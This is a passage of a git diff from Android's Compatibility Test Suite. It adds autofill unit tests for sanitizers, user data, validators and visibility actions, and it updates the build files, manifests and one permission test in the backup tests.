+import static android.autofillservice.cts.testcore.Helper.disableAutofillService;
+import static android.autofillservice.cts.testcore.Helper.enableAutofillService;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.activities.OnCreateServiceStatusVerifierActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.Helper;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+/**
+ * Test case that guarantee the service is enabled before the activity launches.
+ */
+public class ServiceEnabledForSureTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<OnCreateServiceStatusVerifierActivity> {
+
+    private static final String TAG = "ServiceEnabledForSureTest";
+
+    private OnCreateServiceStatusVerifierActivity mActivity;
+
+    @BeforeClass
+    public static void resetService() {
+        enableAutofillService(sContext, SERVICE_NAME);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity> getActivityRule() {
+        return new AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity>(
+                OnCreateServiceStatusVerifierActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Override
+    protected void prepareServicePreTest() {
+        // Doesn't need to prepare the service - that was already taken care of in a @BeforeClass -
+        // but to guarantee the test finishes in the proper state
+        Log.v(TAG, "prepareServicePreTest(): not doing anything");
+        mSafeCleanerRule.run(() ->assertThat(mActivity.getAutofillManager().isEnabled()).isTrue());
+    }
+
+    @Test
+    public void testIsAutofillEnabled() throws Exception {
+        mActivity.assertServiceStatusOnCreate(true);
+
+        final AutofillManager afm = mActivity.getAutofillManager();
+        Helper.assertAutofillEnabled(afm, true);
+
+        disableAutofillService(mContext);
+        Helper.assertAutofillEnabled(afm, false);
+
+        enableAutofillService(mContext, SERVICE_NAME);
+        Helper.assertAutofillEnabled(afm, true);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/TextValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/TextValueSanitizerTest.java
new file mode 100644
index 0000000..3d4df93
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/TextValueSanitizerTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.TextValueSanitizer;
+import android.view.autofill.AutofillValue;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class TextValueSanitizerTest {
+
+    @Test
+    public void testConstructor_nullValues() {
+        assertThrows(NullPointerException.class,
+                () -> new TextValueSanitizer(Pattern.compile("42"), null));
+        assertThrows(NullPointerException.class,
+                () -> new TextValueSanitizer(null, "42"));
+    }
+
+    @Test
+    public void testSanitize_nullValue() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+        assertThat(sanitizer.sanitize(null)).isNull();
+    }
+
+    @Test
+    public void testSanitize_nonTextValue() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+        final AutofillValue value = AutofillValue.forToggle(true);
+        assertThat(sanitizer.sanitize(value)).isNull();
+    }
+
+    @Test
+    public void testSanitize_badRegex() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+                "$2"); // invalid group
+        final AutofillValue value = AutofillValue.forText("blah 42  blaH");
+        assertThat(sanitizer.sanitize(value)).isNull();
+    }
+
+    @Test
+    public void testSanitize_valueMismatch() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "xxx");
+        final AutofillValue value = AutofillValue.forText("43");
+        assertThat(sanitizer.sanitize(value)).isNull();
+    }
+
+    @Test
+    public void testSanitize_simpleMatch() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"),
+                "forty-two");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
+            .isEqualTo("forty-two");
+    }
+
+    @Test
+    public void testSanitize_multipleMatches() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+                "Number");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("blah 42  blaH")).getTextValue())
+            .isEqualTo("NumberNumber");
+    }
+
+    @Test
+    public void testSanitize_groupSubstitutionMatch() {
+        final TextValueSanitizer sanitizer =
+                new TextValueSanitizer(Pattern.compile("\\s*(\\d*)\\s*"), "$1");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("  42 ")).getTextValue())
+                .isEqualTo("42");
+    }
+
+    @Test
+    public void testSanitize_groupSubstitutionMatch_withOptionalGroup() {
+        final TextValueSanitizer sanitizer =
+                new TextValueSanitizer(Pattern.compile("(\\d*)\\s?(\\d*)?"), "$1$2");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("42 108")).getTextValue())
+                .isEqualTo("42108");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("42108")).getTextValue())
+                .isEqualTo("42108");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
+                .isEqualTo("42");
+        final TextValueSanitizer ccSanitizer = new TextValueSanitizer(Pattern.compile(
+                "^(\\d{4,5})-?\\s?(\\d{4,6})-?\\s?(\\d{4,5})" // first 3 are required
+                        + "-?\\s?((?:\\d{4,5})?)-?\\s?((?:\\d{3,5})?)$"), // last 2 are optional
+                "$1$2$3$4$5");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("1111 2222 3333 4444 5555")).getTextValue())
+                        .isEqualTo("11112222333344445555");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("11111-222222-33333-44444-55555")).getTextValue())
+                        .isEqualTo("11111222222333334444455555");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("1111 2222 3333 4444")).getTextValue())
+                        .isEqualTo("1111222233334444");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("11111-222222-33333-44444-")).getTextValue())
+                        .isEqualTo("111112222223333344444");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("1111 2222 3333")).getTextValue())
+                        .isEqualTo("111122223333");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("11111-222222-33333 ")).getTextValue())
+                        .isEqualTo("1111122222233333");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/UserDataTest.java
new file mode 100644
index 0000000..ed5164c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/UserDataTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.UserData;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
+import com.google.common.base.Strings;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class UserDataTest {
+
+    private static final Context sContext = getInstrumentation().getTargetContext();
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxFcSizeChanger =
+            new SettingsStateChangerRule(sContext,
+                    AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE, "10");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxCategoriesSizeChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "2");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxUserSizeChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE, "4");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMinValueChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxValueChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_VALUE_LENGTH, "50");
+
+
+    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
+    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
+            + Strings.repeat("?", UserData.getMaxValueLength());
+    private final String mId = "4815162342";
+    private final String mCategoryId = "id1";
+    private final String mCategoryId2 = "id2";
+    private final String mCategoryId3 = "id3";
+    private final String mValue = mShortValue + "-1";
+    private final String mValue2 = mShortValue + "-2";
+    private final String mValue3 = mShortValue + "-3";
+    private final String mValue4 = mShortValue + "-4";
+    private final String mValue5 = mShortValue + "-5";
+
+    private UserData.Builder mBuilder;
+
+    @Before
+    public void setFixtures() {
+        mBuilder = new UserData.Builder(mId, mValue, mCategoryId);
+    }
+
+    @Test
+    public void testBuilder_invalid() {
+        assertThrows(NullPointerException.class,
+                () -> new UserData.Builder(null, mValue, mCategoryId));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder("", mValue, mCategoryId));
+        assertThrows(NullPointerException.class,
+                () -> new UserData.Builder(mId, null, mCategoryId));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mId, "", mCategoryId));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mId, mShortValue, mCategoryId));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mId, mLongValue, mCategoryId));
+        assertThrows(NullPointerException.class, () -> new UserData.Builder(mId, mValue, null));
+        assertThrows(IllegalArgumentException.class, () -> new UserData.Builder(mId, mValue, ""));
+    }
+
+    @Test
+    public void testAdd_invalid() {
+        assertThrows(NullPointerException.class, () -> mBuilder.add(null, mCategoryId));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add("", mCategoryId));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mShortValue, mCategoryId));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mLongValue, mCategoryId));
+        assertThrows(NullPointerException.class, () -> mBuilder.add(mValue, null));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mValue, ""));
+    }
+
+    @Test
+    public void testAdd_duplicatedValue() {
+        assertThat(new UserData.Builder(mId, mValue, mCategoryId).add(mValue, mCategoryId).build())
+                .isNotNull();
+        assertThat(new UserData.Builder(mId, mValue, mCategoryId).add(mValue, mCategoryId2).build())
+                .isNotNull();
+    }
+
+    @Test
+    public void testAdd_maximumCategoriesReached() {
+        // Max is 2; one was added in the constructor
+        mBuilder.add(mValue2, mCategoryId2);
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue3, mCategoryId3));
+    }
+
+    @Test
+    public void testAdd_maximumUserDataReached() {
+        // Max is 4; one was added in the constructor
+        mBuilder.add(mValue2, mCategoryId);
+        mBuilder.add(mValue3, mCategoryId);
+        mBuilder.add(mValue4, mCategoryId2);
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue5, mCategoryId2));
+    }
+
+    @Test
+    public void testSetFcAlgorithm() {
+        final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
+                .build();
+        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo("algo_mas");
+    }
+
+    @Test
+    public void testSetFcAlgorithmForCategory_invalid() {
+        assertThrows(NullPointerException.class, () -> mBuilder
+                .setFieldClassificationAlgorithmForCategory(null, "algo_mas", null));
+    }
+
+    @Test
+    public void testSetFcAlgorithmForCateogry() {
+        final UserData userData = mBuilder.setFieldClassificationAlgorithmForCategory(
+                mCategoryId, "algo_mas", null).build();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isEqualTo(
+                "algo_mas");
+    }
+
+    @Test
+    public void testBuild_valid() {
+        final UserData userData = mBuilder.build();
+        assertThat(userData).isNotNull();
+        assertThat(userData.getId()).isEqualTo(mId);
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isNull();
+    }
+
+    @Test
+    public void testGetFcAlgorithmForCategory_invalid() {
+        final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
+                .build();
+        assertThrows(NullPointerException.class, () -> userData
+                .getFieldClassificationAlgorithmForCategory(null));
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        testBuild_valid();
+
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue, mCategoryId2));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setFieldClassificationAlgorithmForCategory(mCategoryId,
+                        "algo_mas", null));
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/ValidatorsTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/ValidatorsTest.java
new file mode 100644
index 0000000..22bacb8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/ValidatorsTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.service.autofill.Validators.and;
+import static android.service.autofill.Validators.not;
+import static android.service.autofill.Validators.or;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.InternalValidator;
+import android.service.autofill.Validator;
+import android.service.autofill.ValueFinder;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class ValidatorsTest {
+
+    @Mock private Validator mInvalidValidator;
+    @Mock private ValueFinder mValueFinder;
+    @Mock private InternalValidator mValidValidator;
+    @Mock private InternalValidator mValidValidator2;
+
+    @Test
+    public void testAnd_null() {
+        assertThrows(NullPointerException.class, () -> and((Validator) null));
+        assertThrows(NullPointerException.class, () -> and(mValidValidator, null));
+        assertThrows(NullPointerException.class, () -> and(null, mValidValidator));
+    }
+
+    @Test
+    public void testAnd_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> and(mValidValidator, mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator, mValidValidator));
+    }
+
+    @Test
+    public void testAnd_firstFailed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+        verify(mValidValidator2, never()).isValid(mValueFinder);
+    }
+
+    @Test
+    public void testAnd_firstPassedSecondFailed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+    }
+
+    @Test
+    public void testAnd_AllPassed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testOr_null() {
+        assertThrows(NullPointerException.class, () -> or((Validator) null));
+        assertThrows(NullPointerException.class, () -> or(mValidValidator, null));
+        assertThrows(NullPointerException.class, () -> or(null, mValidValidator));
+    }
+
+    @Test
+    public void testOr_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> or(mValidValidator, mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator, mValidValidator));
+    }
+
+    @Test
+    public void testOr_AllFailed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+    }
+
+    @Test
+    public void testOr_firstPassed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+        verify(mValidValidator2, never()).isValid(mValueFinder);
+    }
+
+    @Test
+    public void testOr_secondPassed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testNot_null() {
+        assertThrows(IllegalArgumentException.class, () -> not(null));
+    }
+
+    @Test
+    public void testNot_invalidClass() {
+        assertThrows(IllegalArgumentException.class, () -> not(mInvalidValidator));
+    }
+
+    @Test
+    public void testNot_falseToTrue() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+        assertThat(notValidator.isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testNot_trueToFalse() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+        assertThat(notValidator.isValid(mValueFinder)).isFalse();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/VisibilitySetterActionTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/VisibilitySetterActionTest.java
new file mode 100644
index 0000000..5bb8f2b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/VisibilitySetterActionTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.VisibilitySetterAction;
+import android.view.View;
+import android.view.ViewGroup;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class VisibilitySetterActionTest {
+
+    private static final Context sContext = getInstrumentation().getTargetContext();
+    private final ViewGroup mRootView = new ViewGroup(sContext) {
+
+        @Override
+        protected void onLayout(boolean changed, int l, int t, int r, int b) {}
+    };
+
+    @Test
+    public void testValidVisibilities() {
+        assertThat(new VisibilitySetterAction.Builder(42, View.VISIBLE).build()).isNotNull();
+        assertThat(new VisibilitySetterAction.Builder(42, View.GONE).build()).isNotNull();
+        assertThat(new VisibilitySetterAction.Builder(42, View.INVISIBLE).build()).isNotNull();
+    }
+
+    @Test
+    public void testInvalidVisibilities() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new VisibilitySetterAction.Builder(42, 666).build());
+        final VisibilitySetterAction.Builder validBuilder =
+                new VisibilitySetterAction.Builder(42, View.VISIBLE);
+        assertThrows(IllegalArgumentException.class,
+                () -> validBuilder.setVisibility(108, 666).build());
+    }
+
+    @Test
+    public void testOneChild() {
+        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
+                .build();
+        final View view = new View(sContext);
+        view.setId(42);
+        view.setVisibility(View.GONE);
+        mRootView.addView(view);
+
+        action.onClick(mRootView);
+
+        assertThat(view.getVisibility()).isEqualTo(View.VISIBLE);
+    }
+
+    @Test
+    public void testOneChildAddedTwice() {
+        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
+                .setVisibility(42, View.INVISIBLE)
+                .build();
+        final View view = new View(sContext);
+        view.setId(42);
+        view.setVisibility(View.GONE);
+        mRootView.addView(view);
+
+        action.onClick(mRootView);
+
+        assertThat(view.getVisibility()).isEqualTo(View.INVISIBLE);
+    }
+
+    @Test
+    public void testMultipleChildren() {
+        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
+                .setVisibility(108, View.INVISIBLE)
+                .build();
+        final View view1 = new View(sContext);
+        view1.setId(42);
+        view1.setVisibility(View.GONE);
+        mRootView.addView(view1);
+
+        final View view2 = new View(sContext);
+        view2.setId(108);
+        view2.setVisibility(View.GONE);
+        mRootView.addView(view2);
+
+        action.onClick(mRootView);
+
+        assertThat(view1.getVisibility()).isEqualTo(View.VISIBLE);
+        assertThat(view2.getVisibility()).isEqualTo(View.INVISIBLE);
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        final VisibilitySetterAction.Builder builder =
+                new VisibilitySetterAction.Builder(42, View.VISIBLE);
+
+        assertThat(builder.build()).isNotNull();
+        assertThrows(IllegalStateException.class, () -> builder.build());
+        assertThrows(IllegalStateException.class, () -> builder.setVisibility(108, View.GONE));
+    }
+}
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index c1f78ed..150379f 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsBackupTestCases",
     defaults: ["cts_defaults"],
@@ -37,8 +33,8 @@
     srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
-	"mts-permission",
         "general-tests",
+        "mts-permission",
     ],
     sdk_version: "test_current",
 }
diff --git a/tests/backup/app/Android.bp b/tests/backup/app/Android.bp
index 94e0c6b..c3f9400 100644
--- a/tests/backup/app/Android.bp
+++ b/tests/backup/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsFullBackupApp",
     defaults: ["cts_support_defaults"],
@@ -29,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
     manifest: "fullbackup/AndroidManifest.xml"
@@ -48,6 +45,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
     manifest: "keyvalue/AndroidManifest.xml"
@@ -67,6 +65,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
     manifest: "permission/AndroidManifest.xml"
@@ -86,6 +85,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
     manifest: "permission22/AndroidManifest.xml"
diff --git a/tests/backup/app/fullbackup/AndroidManifest.xml b/tests/backup/app/fullbackup/AndroidManifest.xml
index 138c774..7f639f9 100644
--- a/tests/backup/app/fullbackup/AndroidManifest.xml
+++ b/tests/backup/app/fullbackup/AndroidManifest.xml
@@ -16,28 +16,28 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.backup.app" >
+     package="android.backup.app">
 
-    <application
-        android:allowBackup="true"
-        android:backupAgent="FullBackupBackupAgent"
-        android:label="Android Backup CTS App"
-        android:fullBackupOnly="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:allowBackup="true"
+         android:backupAgent="FullBackupBackupAgent"
+         android:label="Android Backup CTS App"
+         android:fullBackupOnly="true">
+        <uses-library android:name="android.test.runner"/>
 
 
-        <activity
-            android:name=".MainActivity"
-            android:label="Android Backup CTS App" >
+        <activity android:name=".MainActivity"
+             android:label="Android Backup CTS App"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name=".WakeUpReceiver">
+        <receiver android:name=".WakeUpReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.backup.app.ACTION_WAKE_UP" />
+                <action android:name="android.backup.app.ACTION_WAKE_UP"/>
             </intent-filter>
         </receiver>
 
diff --git a/tests/backup/app/keyvalue/AndroidManifest.xml b/tests/backup/app/keyvalue/AndroidManifest.xml
index 3ed302d..c36d70c 100644
--- a/tests/backup/app/keyvalue/AndroidManifest.xml
+++ b/tests/backup/app/keyvalue/AndroidManifest.xml
@@ -16,20 +16,19 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.backup.kvapp" >
+     package="android.backup.kvapp">
 
-    <application
-        android:allowBackup="true"
-        android:backupAgent="android.backup.app.KeyValueBackupAgent"
-        android:label="Android Key Value Backup CTS App">
-        <uses-library android:name="android.test.runner" />
+    <application android:allowBackup="true"
+         android:backupAgent="android.backup.app.KeyValueBackupAgent"
+         android:label="Android Key Value Backup CTS App">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name="android.backup.app.MainActivity"
-            android:label="Android Key Value Backup CTS App" >
+        <activity android:name="android.backup.app.MainActivity"
+             android:label="Android Key Value Backup CTS App"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/backup/src/android/backup/cts/PermissionTest.java b/tests/backup/src/android/backup/cts/PermissionTest.java
index 4349aeb..31988ba 100644
--- a/tests/backup/src/android/backup/cts/PermissionTest.java
+++ b/tests/backup/src/android/backup/cts/PermissionTest.java
@@ -199,19 +199,22 @@
 
     /**
      * Test backup and restore of foreground runtime permission.
+     *
+     * Comment out the test since it's a JUnit 3 test which doesn't support @Ignore
+     * TODO: b/178522459 to fix the test once the foundamental issue has been fixed.
      */
-    public void testGrantForegroundRuntimePermission22() throws Exception {
-        if (!isBackupSupported()) {
-            return;
-        }
-        setAppOp(APP22, ACCESS_FINE_LOCATION, MODE_FOREGROUND);
-
-        mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
-        resetApp(APP22);
-        mBackupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE);
-
-        eventually(() -> assertEquals(MODE_FOREGROUND, getAppOp(APP22, ACCESS_FINE_LOCATION)));
-    }
+//    public void testGrantForegroundRuntimePermission22() throws Exception {
+//        if (!isBackupSupported()) {
+//            return;
+//        }
+//        setAppOp(APP22, ACCESS_FINE_LOCATION, MODE_FOREGROUND);
+//
+//        mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
+//        resetApp(APP22);
+//        mBackupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE);
+//
